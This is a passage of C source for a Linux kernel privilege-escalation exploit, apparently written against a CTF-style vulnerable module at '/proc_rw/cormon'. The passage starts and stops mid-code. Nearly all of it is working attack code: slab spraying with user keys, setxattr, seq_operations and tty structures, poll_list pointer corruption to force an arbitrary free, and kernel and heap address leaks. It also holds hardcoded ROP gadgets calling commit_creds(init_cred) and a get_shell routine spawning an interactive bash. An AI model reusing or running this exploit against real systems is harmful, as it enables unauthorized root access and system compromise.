                  "mov user_cs, cs;"
                
              
              

              
                            
                
                  "mov user_ss, ss;"
                
              
              

              
                            
                
                  "mov user_sp, rsp;"
                
              
              

              
                            
                
                  "pushf;"
                
              
              

              
                            
                
                  "pop user_rflags;"
                
                );
              
              

              
                    
                
                  puts
                
                (
                
                  "[*] status has been saved."
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  typedef
                
                
                  struct
                
                 {
              
              

              
                    
                
                  int
                
                
                  nfds
                
                , 
                
                  timer
                
                ;
              
              

              
                } 
                
                  poll_args
                
                ;
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  poll_list
                
                 {
              
              

              
                    
                
                  struct
                
                
                  poll_list
                
                
                  *
                
                
                  next
                
                ;
              
              

              
                    
                
                  int
                
                
                  len
                
                ;
              
              

              
                    
                
                  struct
                
                
                  pollfd
                
                
                  entries
                
                [];
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  pthread_mutex_t
                
                
                  mutex
                
                
                  =
                
                
                  PTHREAD_MUTEX_INITIALIZER
                
                ;
              
              

              
                
                  size_t
                
                
                  poll_threads
                
                , 
                
                  poll_cnt
                
                ;
              
              

              
                
                
              
              

              
                
                  void
                
                
                  *
                
                
                  alloc_poll_list
                
                (
                
                  void
                
                
                  *
                
                
                  args
                
                ) {
              
              

              
                    
                
                  int
                
                
                  nfds
                
                
                  =
                
                 ((
                
                  poll_args
                
                
                  *
                
                ) 
                
                  args
                
                )
                
                  ->
                
                
                  nfds
                
                ;
              
              

              
                    
                
                  int
                
                
                  timer
                
                
                  =
                
                 ((
                
                  poll_args
                
                
                  *
                
                ) 
                
                  args
                
                )
                
                  ->
                
                
                  timer
                
                ;
              
              

              
                
                
              
              

              
                    
                
                  struct
                
                
                  pollfd
                
                
                  *
                
                
                  pfds
                
                
                  =
                
                
                  calloc
                
                (
                
                  nfds
                
                , 
                
                  sizeof
                
                (
                
                  struct
                
                
                  pollfd
                
                ));
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  nfds
                
                ; 
                
                  i
                
                
                  ++
                
                ) {
              
              

              
                        
                
                  pfds
                
                [
                
                  i
                
                ].
                
                  fd
                
                
                  =
                
                
                  open
                
                (
                
                  "/etc/passwd"
                
                , 
                
                  O_RDONLY
                
                );
              
              

              
                        
                
                  pfds
                
                [
                
                  i
                
                ].
                
                  events
                
                
                  =
                
                
                  POLLERR
                
                ;
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  bind_core
                
                (
                
                  true
                
                , 
                
                  true
                
                );
              
              

              
                
                
              
              

              
                    
                
                  pthread_mutex_lock
                
                (
                
                  &
                
                
                  mutex
                
                );
              
              

              
                    
                
                  poll_threads
                
                
                  ++
                
                ;
              
              

              
                    
                
                  pthread_mutex_unlock
                
                (
                
                  &
                
                
                  mutex
                
                );
              
              

              
                    
                
                  poll
                
                (
                
                  pfds
                
                , 
                
                  nfds
                
                , 
                
                  timer
                
                );
              
              

              
                
                
              
              

              
                    
                
                  bind_core
                
                (
                
                  false
                
                , 
                
                  true
                
                );
              
              

              
                
                
              
              

              
                    
                
                  pthread_mutex_lock
                
                (
                
                  &
                
                
                  mutex
                
                );
              
              

              
                    
                
                  poll_threads
                
                
                  --
                
                ;
              
              

              
                    
                
                  pthread_mutex_unlock
                
                (
                
                  &
                
                
                  mutex
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  #define N_STACK_PPS 30
                
              
              

              
                
                  #define POLL_NUM 0x1000
                
              
              

              
                
                
              
              

              
                
                  pthread_t
                
                
                  poll_tid
                
                [
                
                  POLL_NUM
                
                ];
              
              

              
                
                
              
              

              
                
                  void
                
                
                  create_poll_thread
                
                (
                
                  size_t
                
                
                  size
                
                , 
                
                  int
                
                
                  timer
                
                ) {
              
              

              
                    
                
                  poll_args
                
                
                  *
                
                
                  args
                
                
                  =
                
                
                  calloc
                
                (
                
                  1
                
                , 
                
                  sizeof
                
                (
                
                  poll_args
                
                ));
              
              

              
                    
                
                  args
                
                
                  ->
                
                
                  nfds
                
                
                  =
                
              
              

              
                        (
                
                  size
                
                
                  -
                
                 (
                
                  size
                
                
                  +
                
                
                  PAGE_SIZE
                
                
                  -
                
                
                  1
                
                ) 
                
                  /
                
                
                  PAGE_SIZE
                
                
                  *
                
                
                  sizeof
                
                (
                
                  struct
                
                
                  poll_list
                
                )) 
                
                  /
                
                
                  sizeof
                
                (
                
                  struct
                
                
                  pollfd
                
                )
              
              

              
                        
                
                  +
                
                
                  N_STACK_PPS
                
                ;
              
              

              
                    
                
                  args
                
                
                  ->
                
                
                  timer
                
                
                  =
                
                
                  timer
                
                ;
              
              

              
                    
                
                  pthread_create
                
                (
                
                  &
                
                
                  poll_tid
                
                [
                
                  poll_cnt
                
                
                  ++
                
                ], 
                
                  0
                
                , 
                
                  alloc_poll_list
                
                , 
                
                  args
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  void
                
                
                  wait_poll_start
                
                () {
              
              

              
                    
                
                  while
                
                 (
                
                  poll_threads
                
                
                  !=
                
                
                  poll_cnt
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  void
                
                
                  join_poll_threads
                
                (
                
                  void
                
                 (
                
                  *
                
                
                  confuse
                
                )(
                
                  void
                
                
                  *
                
                ), 
                
                  void
                
                
                  *
                
                
                  confuse_args
                
                ) {
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  poll_threads
                
                ; 
                
                  i
                
                
                  ++
                
                ) {
              
              

              
                        
                
                  pthread_join
                
                (
                
                  poll_tid
                
                [
                
                  i
                
                ], 
                
                  NULL
                
                );
              
              

              
                        
                
                  if
                
                 (
                
                  confuse
                
                
                  !=
                
                
                  NULL
                
                ) {
              
              

              
                            
                
                  confuse
                
                (
                
                  confuse_args
                
                );
              
              

              
                        }
              
              

              
                    }
              
              

              
                    
                
                  poll_cnt
                
                
                  =
                
                
                  poll_threads
                
                
                  =
                
                
                  0
                
                ;
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  callback_head
                
                 {
              
              

              
                    
                
                  struct
                
                
                  callback_head
                
                
                  *
                
                
                  next
                
                ;
              
              

              
                
                
              
              

              
                    
                
                  void
                
                 (
                
                  *
                
                
                  func
                
                )(
                
                  struct
                
                
                  callback_head
                
                
                  *
                
                
                  head
                
                );
              
              

              
                } 
                
                  __attribute__
                
                ((
                
                  aligned
                
                (
                
                  sizeof
                
                (
                
                  void
                
                
                  *
                
                ))));
              
              

              
                
                
              
              

              
                
                  #define rcu_head callback_head
                
              
              

              
                
                  #define __aligned(x)                    __attribute__((__aligned__(x)))
                
              
              

              
                
                  typedef
                
                
                  unsigned
                
                
                  long
                
                
                  long
                
                
                  u64
                
                ;
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  user_key_payload
                
                 {
              
              

              
                    
                
                  struct
                
                
                  rcu_head
                
                
                  rcu
                
                ;        
                
                  /* RCU destructor */
                
              
              

              
                    
                
                  unsigned
                
                
                  short
                
                
                  datalen
                
                ;    
                
                  /* length of this data */
                
              
              

              
                    
                
                  char
                
                
                  data
                
                [
                
                  0
                
                ] 
                
                  __aligned
                
                (
                
                  __alignof__
                
                (
                
                  u64
                
                )); 
                
                  /* actual data */
                
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  #define KEY_NUM 199
                
              
              

              
                
                  int
                
                
                  key_id
                
                [
                
                  KEY_NUM
                
                ];
              
              

              
                
                
              
              

              
                
                  int
                
                
                  key_alloc
                
                (
                
                  int
                
                
                  id
                
                , 
                
                  void
                
                
                  *
                
                
                  payload
                
                , 
                
                  int
                
                
                  payload_len
                
                ) {
              
              

              
                    
                
                  char
                
                
                  description
                
                [
                
                  0x10
                
                ] 
                
                  =
                
                 {};
              
              

              
                    
                
                  sprintf
                
                (
                
                  description
                
                , 
                
                  "%d"
                
                , 
                
                  id
                
                );
              
              

              
                    
                
                  return
                
                
                  key_id
                
                [
                
                  id
                
                ] 
                
                  =
                
              
              

              
                        
                
                  syscall
                
                (
                
                  __NR_add_key
                
                , 
                
                  "user"
                
                , 
                
                  description
                
                , 
                
                  payload
                
                , 
              
              

              
                                
                
                  payload_len
                
                
                  -
                
                
                  sizeof
                
                (
                
                  struct
                
                
                  user_key_payload
                
                ), 
                
                  KEY_SPEC_PROCESS_KEYRING
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  int
                
                
                  key_update
                
                (
                
                  int
                
                
                  id
                
                , 
                
                  void
                
                
                  *
                
                
                  payload
                
                , 
                
                  size_t
                
                
                  plen
                
                ) {
              
              

              
                    
                
                  return
                
                
                  syscall
                
                (
                
                  __NR_keyctl
                
                , 
                
                  KEYCTL_UPDATE
                
                , 
                
                  key_id
                
                [
                
                  id
                
                ], 
                
                  payload
                
                , 
                
                  plen
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  int
                
                
                  key_read
                
                (
                
                  int
                
                
                  id
                
                , 
                
                  void
                
                
                  *
                
                
                  bufer
                
                , 
                
                  size_t
                
                
                  buflen
                
                ) {
              
              

              
                    
                
                  return
                
                
                  syscall
                
                (
                
                  __NR_keyctl
                
                , 
                
                  KEYCTL_READ
                
                , 
                
                  key_id
                
                [
                
                  id
                
                ], 
                
                  bufer
                
                , 
                
                  buflen
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  int
                
                
                  key_revoke
                
                (
                
                  int
                
                
                  id
                
                ) {
              
              

              
                    
                
                  return
                
                
                  syscall
                
                (
                
                  __NR_keyctl
                
                , 
                
                  KEYCTL_REVOKE
                
                , 
                
                  key_id
                
                [
                
                  id
                
                ], 
                
                  0
                
                , 
                
                  0
                
                , 
                
                  0
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  int
                
                
                  key_unlink
                
                (
                
                  int
                
                
                  id
                
                ) {
              
              

              
                    
                
                  return
                
                
                  syscall
                
                (
                
                  __NR_keyctl
                
                , 
                
                  KEYCTL_UNLINK
                
                , 
                
                  key_id
                
                [
                
                  id
                
                ], 
                
                  KEY_SPEC_PROCESS_KEYRING
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  list_head
                
                 {
              
              

              
                    
                
                  struct
                
                
                  list_head
                
                
                  *
                
                
                  next
                
                , 
                
                  *
                
                
                  prev
                
                ;
              
              

              
                };
              
              

              
                
                  struct
                
                
                  tty_file_private
                
                 {
              
              

              
                    
                
                  struct
                
                
                  tty_struct
                
                
                  *
                
                
                  tty
                
                ;
              
              

              
                    
                
                  struct
                
                
                  file
                
                
                  *
                
                
                  file
                
                ;
              
              

              
                    
                
                  struct
                
                
                  list_head
                
                
                  list
                
                ;
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  page
                
                ;
              
              

              
                
                  struct
                
                
                  pipe_inode_info
                
                ;
              
              

              
                
                  struct
                
                
                  pipe_buf_operations
                
                ;
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  pipe_bufer
                
                 {
              
              

              
                    
                
                  struct
                
                
                  page
                
                
                  *
                
                
                  page
                
                ;
              
              

              
                    
                
                  unsigned
                
                
                  int
                
                
                  offset
                
                , 
                
                  len
                
                ;
              
              

              
                    
                
                  const
                
                
                  struct
                
                
                  pipe_buf_operations
                
                
                  *
                
                
                  ops
                
                ;
              
              

              
                    
                
                  unsigned
                
                
                  int
                
                
                  flags
                
                ;
              
              

              
                    
                
                  unsigned
                
                
                  long
                
                
                  private
                
                ;
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  pipe_buf_operations
                
                 {
              
              

              
                    
                
                  int
                
                 (
                
                  *
                
                
                  confirm
                
                )(
                
                  struct
                
                
                  pipe_inode_info
                
                
                  *
                
                , 
                
                  struct
                
                
                  pipe_bufer
                
                
                  *
                
                );
              
              

              
                    
                
                  void
                
                 (
                
                  *
                
                
                  release
                
                )(
                
                  struct
                
                
                  pipe_inode_info
                
                
                  *
                
                , 
                
                  struct
                
                
                  pipe_bufer
                
                
                  *
                
                );
              
              

              
                    
                
                  int
                
                 (
                
                  *
                
                
                  try_steal
                
                )(
                
                  struct
                
                
                  pipe_inode_info
                
                
                  *
                
                , 
                
                  struct
                
                
                  pipe_bufer
                
                
                  *
                
                );
              
              

              
                    
                
                  int
                
                 (
                
                  *
                
                
                  get
                
                )(
                
                  struct
                
                
                  pipe_inode_info
                
                
                  *
                
                , 
                
                  struct
                
                
                  pipe_bufer
                
                
                  *
                
                );
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  void
                
                
                  get_shell
                
                (
                
                  void
                
                ) {
              
              

              
                    
                
                  char
                
                
                  *
                
                
                  args
                
                [] 
                
                  =
                
                 {
                
                  "/bin/bash"
                
                , 
                
                  "-i"
                
                , 
                
                  NULL
                
                };
              
              

              
                    
                
                  execve
                
                (
                
                  args
                
                [
                
                  0
                
                ], 
                
                  args
                
                , 
                
                  NULL
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  #define SEQ_NUM (2048 + 128)
                
              
              

              
                
                  #define TTY_NUM 72
                
              
              

              
                
                  #define PIPE_NUM 1024
                
              
              

              
                
                
              
              

              
                
                  int
                
                
                  cormon_fd
                
                ;
              
              

              
                
                  char
                
                
                  buf
                
                [
                
                  0x20000
                
                ];
              
              

              
                
                
              
              

              
                
                  void
                
                
                  seq_confuse
                
                (
                
                  void
                
                
                  *
                
                
                  args
                
                ) {
              
              

              
                    
                
                  open
                
                (
                
                  "/proc/self/stat"
                
                , 
                
                  O_RDONLY
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  size_t
                
                
                  push_rsi_pop_rsp_ret
                
                
                  =
                
                
                  0xFFFFFFFF817AD641
                
                ;
              
              

              
                
                  size_t
                
                
                  pop_rdi_ret
                
                
                  =
                
                
                  0xffffffff8116926d
                
                ;
              
              

              
                
                  size_t
                
                
                  init_cred
                
                
                  =
                
                
                  0xFFFFFFFF8245A960
                
                ;
              
              

              
                
                  size_t
                
                
                  commit_creds
                
                
                  =
                
                
                  0xFFFFFFFF810EBA40
                
                ;
              
              

              
                
                  size_t
                
                
                  pop_r14_pop_r15_ret
                
                
                  =
                
                
                  0xffffffff81001615
                
                ;
              
              

              
                
                  size_t
                
                
                  find_task_by_vpid
                
                
                  =
                
                
                  0xFFFFFFFF810E4FC0
                
                ;
              
              

              
                
                  size_t
                
                
                  init_fs
                
                
                  =
                
                
                  0xFFFFFFFF82589740
                
                ;
              
              

              
                
                  size_t
                
                
                  pop_rcx_ret
                
                
                  =
                
                
                  0xffffffff8101f5fc
                
                ;
              
              

              
                
                  size_t
                
                
                  add_rax_rcx_ret
                
                
                  =
                
                
                  0xffffffff8102396f
                
                ;
              
              

              
                
                  size_t
                
                
                  mov_mmrax_rbx_pop_rbx_ret
                
                
                  =
                
                
                  0xffffffff817e1d6d
                
                ;
              
              

              
                
                  size_t
                
                
                  pop_rbx_ret
                
                
                  =
                
                
                  0xffffffff811bce34
                
                ;
              
              

              
                
                  size_t
                
                
                  swapgs_ret
                
                
                  =
                
                
                  0xffffffff81a05418
                
                ;
              
              

              
                
                  size_t
                
                
                  iretq
                
                
                  =
                
                
                  0xffffffff81c00f97
                
                ;
              
              

              
                
                
              
              

              
                
                  int
                
                
                  main
                
                () {
              
              

              
                    
                
                  bind_core
                
                (
                
                  true
                
                , 
                
                  false
                
                );
              
              

              
                    
                
                  save_status
                
                ();
              
              

              
                    
                
                  signal
                
                (
                
                  SIGSEGV
                
                , (
                
                  void
                
                
                  *
                
                ) 
                
                  get_shell
                
                );
              
              

              
                
                
              
              

              
                    
                
                  cormon_fd
                
                
                  =
                
                
                  open
                
                (
                
                  "/proc_rw/cormon"
                
                , 
                
                  O_RDWR
                
                );
              
              

              
                    
                
                  if
                
                 (
                
                  cormon_fd
                
                
                  <
                
                
                  0
                
                ) {
              
              

              
                        
                
                  perror
                
                (
                
                  "[-] failed to open cormon."
                
                );
              
              

              
                        
                
                  exit
                
                (
                
                  -
                
                
                  1
                
                );
              
              

              
                    }
              
              

              
                    
              
              

              
                    
                
                  size_t
                
                
                  kernel_offset
                
                ;
              
              

              
                    
                
                  int
                
                
                  target_key
                
                ;
              
              

              
                    
                
                  puts
                
                (
                
                  "[*] Saturating kmalloc-32 partial slabs..."
                
                );
              
              

              
                
                
              
              

              
                    
                
                  int
                
                
                  seq_fd
                
                [
                
                  SEQ_NUM
                
                ];
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  SEQ_NUM
                
                ; 
                
                  i
                
                
                  ++
                
                ) {
              
              

              
                        
                
                  seq_fd
                
                [
                
                  i
                
                ] 
                
                  =
                
                
                  open
                
                (
                
                  "/proc/self/stat"
                
                , 
                
                  O_RDONLY
                
                );
              
              

              
                        
                
                  if
                
                 (
                
                  seq_fd
                
                [
                
                  i
                
                ] 
                
                  <
                
                
                  0
                
                ) {
              
              

              
                            
                
                  perror
                
                (
                
                  "[-] failed to open stat."
                
                );
              
              

              
                            
                
                  exit
                
                (
                
                  -
                
                
                  1
                
                );
              
              

              
                        }
              
              

              
                        
                
                  if
                
                 (
                
                  i
                
                
                  ==
                
                
                  2048
                
                ) {
              
              

              
                            
                
                  puts
                
                (
                
                  "[*] Spraying user keys in kmalloc-32..."
                
                );
              
              

              
                            
                
                  for
                
                 (
                
                  int
                
                
                  j
                
                
                  =
                
                
                  0
                
                ; 
                
                  j
                
                
                  <
                
                
                  KEY_NUM
                
                ; 
                
                  j
                
                
                  ++
                
                ) {
              
              

              
                                
                
                  setxattr
                
                (
                
                  "/tmp/exp"
                
                , 
                
                  "aaaaaa"
                
                , 
                
                  buf
                
                , 
                
                  32
                
                , 
                
                  XATTR_CREATE
                
                );
              
              

              
                                
                
                  key_alloc
                
                (
                
                  j
                
                , 
                
                  buf
                
                , 
                
                  32
                
                );
              
              

              
                                
                
                  if
                
                 (
                
                  j
                
                
                  ==
                
                
                  72
                
                ) {
              
              

              
                                    
                
                  bind_core
                
                (
                
                  false
                
                , 
                
                  false
                
                );
              
              

              
                                    
                
                  puts
                
                (
                
                  "[*] Creating poll threads..."
                
                );
              
              

              
                                    
                
                  for
                
                 (
                
                  int
                
                
                  k
                
                
                  =
                
                
                  0
                
                ; 
                
                  k
                
                
                  <
                
                
                  14
                
                ; 
                
                  k
                
                
                  ++
                
                ) {
              
              

              
                                        
                
                  create_poll_thread
                
                (
              
              

              
                                            
                
                  PAGE_SIZE
                
                
                  +
                
                
                  sizeof
                
                (
                
                  struct
                
                
                  poll_list
                
                ) 
                
                  +
                
                
                  sizeof
                
                (
                
                  struct
                
                
                  pollfd
                
                ), 
              
              

              
                                            
                
                  3000
                
                );
              
              

              
                                    }
              
              

              
                                    
                
                  bind_core
                
                (
                
                  true
                
                , 
                
                  false
                
                );
              
              

              
                                    
                
                  wait_poll_start
                
                ();
              
              

              
                                }
              
              

              
                            }
              
              

              
                            
                
                  puts
                
                (
                
                  "[*] Corrupting poll_list next pointer..."
                
                );
              
              

              
                            
                
                  write
                
                (
                
                  cormon_fd
                
                , 
                
                  buf
                
                , 
                
                  PAGE_SIZE
                
                );
              
              

              
                            
                
                  puts
                
                (
                
                  "[*] Triggering arbitrary free..."
                
                );
              
              

              
                            
                
                  join_poll_threads
                
                (
                
                  seq_confuse
                
                , 
                
                  NULL
                
                );
              
              

              
                            
                
                  puts
                
                (
                
                  "[*] Overwriting user key size / Spraying seq_operations structures..."
                
                );
              
              

              
                        }
              
              

              
                    }
              
              

              
                    
                
                  puts
                
                (
                
                  "[*] Leaking kernel pointer..."
                
                );
              
              

              
                
                
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  KEY_NUM
                
                ; 
                
                  i
                
                
                  ++
                
                ) {
              
              

              
                        
                
                  int
                
                
                  len
                
                
                  =
                
                
                  key_read
                
                (
                
                  i
                
                , 
                
                  buf
                
                , 
                
                  sizeof
                
                (
                
                  buf
                
                ));
              
              

              
                        
                
                  kernel_offset
                
                
                  =
                
                
                  search_kernel_offset
                
                (
                
                  buf
                
                , 
                
                  len
                
                );
              
              

              
                        
                
                  if
                
                 (
                
                  kernel_offset
                
                
                  !=
                
                
                  INVALID_KERNEL_OFFSET
                
                ) {
              
              

              
                            
                
                  qword_dump
                
                (
                
                  "dump leak memory"
                
                , 
                
                  buf
                
                , 
                
                  0x1000
                
                );
              
              

              
                            
                
                  target_key
                
                
                  =
                
                
                  i
                
                ;
              
              

              
                            
                
                  break
                
                ;
              
              

              
                        }
              
              

              
                    }
              
              

              
                    
                
                  if
                
                 (
                
                  kernel_offset
                
                
                  ==
                
                
                  INVALID_KERNEL_OFFSET
                
                ) {
              
              

              
                        
                
                  puts
                
                (
                
                  "[-] failed to leak kernel offset,try again."
                
                );
              
              

              
                        
                
                  exit
                
                (
                
                  -
                
                
                  1
                
                );
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  push_rsi_pop_rsp_ret
                
                
                  +=
                
                
                  kernel_offset
                
                ;
              
              

              
                    
                
                  pop_rdi_ret
                
                
                  +=
                
                
                  kernel_offset
                
                ;
              
              

              
                    
                
                  init_cred
                
                
                  +=
                
                
                  kernel_offset
                
                ;
              
              

              
                    
                
                  commit_creds
                
                
                  +=
                
                
                  kernel_offset
                
                ;
              
              

              
                    
                
                  pop_r14_pop_r15_ret
                
                
                  +=
                
                
                  kernel_offset
                
                ;
              
              

              
                    
                
                  find_task_by_vpid
                
                
                  +=
                
                
                  kernel_offset
                
                ;
              
              

              
                    
                
                  init_fs
                
                
                  +=
                
                
                  kernel_offset
                
                ;
              
              

              
                    
                
                  pop_rcx_ret
                
                
                  +=
                
                
                  kernel_offset
                
                ;
              
              

              
                    
                
                  add_rax_rcx_ret
                
                
                  +=
                
                
                  kernel_offset
                
                ;
              
              

              
                    
                
                  mov_mmrax_rbx_pop_rbx_ret
                
                
                  +=
                
                
                  kernel_offset
                
                ;
              
              

              
                    
                
                  pop_rbx_ret
                
                
                  +=
                
                
                  kernel_offset
                
                ;
              
              

              
                    
                
                  swapgs_ret
                
                
                  +=
                
                
                  kernel_offset
                
                ;
              
              

              
                    
                
                  iretq
                
                
                  +=
                
                
                  kernel_offset
                
                ;
              
              

              
                
                
              
              

              
                    
                
                  puts
                
                (
                
                  "[*] Freeing user keys..."
                
                );
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  KEY_NUM
                
                ; 
                
                  i
                
                
                  ++
                
                ) {
              
              

              
                        
                
                  if
                
                 (
                
                  i
                
                
                  !=
                
                
                  target_key
                
                ) {
              
              

              
                            
                
                  key_unlink
                
                (
                
                  i
                
                );
              
              

              
                        }
              
              

              
                    }
              
              

              
                    
                
                  sleep
                
                (
                
                  1
                
                );
              
              

              
                
                
              
              

              
                    
                
                  puts
                
                (
                
                  "[*] Spraying tty_file_private / tty_struct structures..."
                
                );
              
              

              
                    
                
                  int
                
                
                  tty_fd
                
                [
                
                  TTY_NUM
                
                ];
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  TTY_NUM
                
                ; 
                
                  i
                
                
                  ++
                
                ) {
              
              

              
                        
                
                  tty_fd
                
                [
                
                  i
                
                ] 
                
                  =
                
                
                  open
                
                (
                
                  "/dev/ptmx"
                
                , 
                
                  O_RDWR
                
                
                  |
                
                
                  O_NOCTTY
                
                );
              
              

              
                        
                
                  if
                
                 (
                
                  tty_fd
                
                [
                
                  i
                
                ] 
                
                  <
                
                
                  0
                
                ) {
              
              

              
                            
                
                  perror
                
                (
                
                  "[-] failed to open ptmx"
                
                );
              
              

              
                        }
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  puts
                
                (
                
                  "[*] Leaking heap pointer..."
                
                );
              
              

              
                
                
              
              

              
                    
                
                  size_t
                
                
                  target_object
                
                
                  =
                
                
                  -
                
                
                  1
                
                ;
              
              

              
                    
                
                  int
                
                
                  len
                
                
                  =
                
                
                  key_read
                
                (
                
                  target_key
                
                , 
                
                  buf
                
                , 
                
                  sizeof
                
                (
                
                  buf
                
                ));
              
              

              
                    
                
                  qword_dump
                
                (
                
                  "dump leak memory"
                
                , 
                
                  buf
                
                , 
                
                  0x1000
                
                );
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  len
                
                ; 
                
                  i
                
                
                  +=
                
                
                  8
                
                ) {
              
              

              
                        
                
                  struct
                
                
                  tty_file_private
                
                
                  *
                
                
                  head
                
                
                  =
                
                 (
                
                  void
                
                
                  *
                
                ) 
                
                  &
                
                
                  buf
                
                [
                
                  i
                
                ];
              
              

              
                        
                
                  if
                
                 (
                
                  is_dir_mapping_addr
                
                ((
                
                  size_t
                
                ) 
                
                  head
                
                
                  ->
                
                
                  tty
                
                ) 
                
                  &&
                
                
                  !
                
                (((
                
                  size_t
                
                ) 
                
                  head
                
                
                  ->
                
                
                  tty
                
                ) 
                
                  &
                
                
                  0xFF
                
                )
              
              

              
                            
                
                  &&
                
                
                  head
                
                
                  ->
                
                
                  list
                
                .
                
                  next
                
                
                  ==
                
                
                  head
                
                
                  ->
                
                
                  list
                
                .
                
                  prev
                
                
                  &&
                
                
                  head
                
                
                  ->
                
                
                  list
                
                .
                
                  prev
                
                
                  !=
                
                
                  NULL
                
                ) {
              
              

              
                            
                
                  qword_dump
                
                (
                
                  "leak tty_struct addr from tty_file_private"
                
                , 
                
                  &
                
                
                  buf
                
                [
                
                  i
                
                ], 
              
              

              
                                       
                
                  sizeof
                
                (
                
                  struct
                
                
                  tty_file_private
                
                ));
              
              

              
                            
                
                  target_object
                
                
                  =
                
                 (
                
                  size_t
                
                ) 
                
                  head
                
                
                  ->
                
                
                  tty
                
                ;
              
              

              
                            
                
                  printf
                
                (
                
                  "[+] tty_struct addr: %p\n"
                
                , 
                
                  target_object
                
                );
              
              

              
                            
                
                  break
                
                ;
              
              

              
                        }
              
              

              
                    }
              
              

              
                    
                
                  if
                
                 (
                
                  target_object
                
                
                  ==
                
                
                  -
                
                
                  1
                
                ) {
              
              

              
                        
                
                  puts
                
                (
                
                  "[-] failed to leak tty_struct addr."
                
                );
              
              

              
                        
                
                  exit
                
                (
                
                  -
                
                
                  1
                
                );
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  puts
                
                (
                
                  "[*] Freeing seq_operation structures..."
                
                );
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  2048
                
                ; 
                
                  i
                
                
                  <
                
                
                  SEQ_NUM
                
                ; 
                
                  i
                
                
                  ++
                
                ) {
              
              

              
                        
                
                  close
                
                (
                
                  seq_fd
                
                [
                
                  i
                
                ]);
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  bind_core
                
                (
                
                  false
                
                , 
                
                  false
                
                );
              
              

              
                
                
              
              

              
                    
                
                  puts
                
                (
                
                  "[*] Creating poll threads..."
                
                );
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  192
                
                ; 
                
                  i
                
                
                  ++
                
                ) {
              
              

              
                        
                
                  create_poll_thread
                
                (
                
                  sizeof
                
                (
                
                  struct
                
                
                  poll_list
                
                ) 
                
                  +
                
                
                  sizeof
                
                (
                
                  struct
                
                
                  pollfd
                
                ), 
                
                  3000
                
                );
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  bind_core
                
                (
                
                  true
                
                , 
                
                  false
                
                );
              
              

              
                
                
              
              

              
                    
                
                  wait_poll_start
                
                ();
              
              

              
                
                
              
              

              
                    
                
                  puts
                
                (
                
                  "[*] Freeing corrupted key..."
                
                );
              
              

              
                    
                
                  key_unlink
                
                (
                
                  target_key
                
                );
              
              

              
                    
                
                  sleep
                
                (
                
                  1
                
                ); 
                
                  // GC key
                
              
              

              
                
                
              
              

              
                    
                
                  puts
                
                (
                
                  "[*] Overwriting poll_list next pointer..."
                
                );
              
              

              
                    
                
                  char
                
                
                  key
                
                [
                
                  32
                
                ] 
                
                  =
                
                 {};
              
              

              
                    
                
                  *
                
                (
                
                  size_t
                
                
                  *
                
                ) 
                
                  &
                
                
                  buf
                
                [
                
                  0
                
                ] 
                
                  =
                
                
                  target_object
                
                
                  -
                
                
                  0x18
                
                ;
              
              

              
                
                
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  KEY_NUM
                
                ; 
                
                  i
                
                
                  ++
                
                ) {
              
              

              
                        
                
                  setxattr
                
                (
                
                  "/tmp/exp"
                
                , 
                
                  "aaaaaa"
                
                , 
                
                  buf
                
                , 
                
                  32
                
                , 
                
                  XATTR_CREATE
                
                );
              
              

              
                        
                
                  key_alloc
                
                (
                
                  i
                
                , 
                
                  key
                
                , 
                
                  32
                
                );
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  puts
                
                (
                
                  "[*] Freeing tty_struct structures..."
                
                );
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  TTY_NUM
                
                ; 
                
                  i
                
                
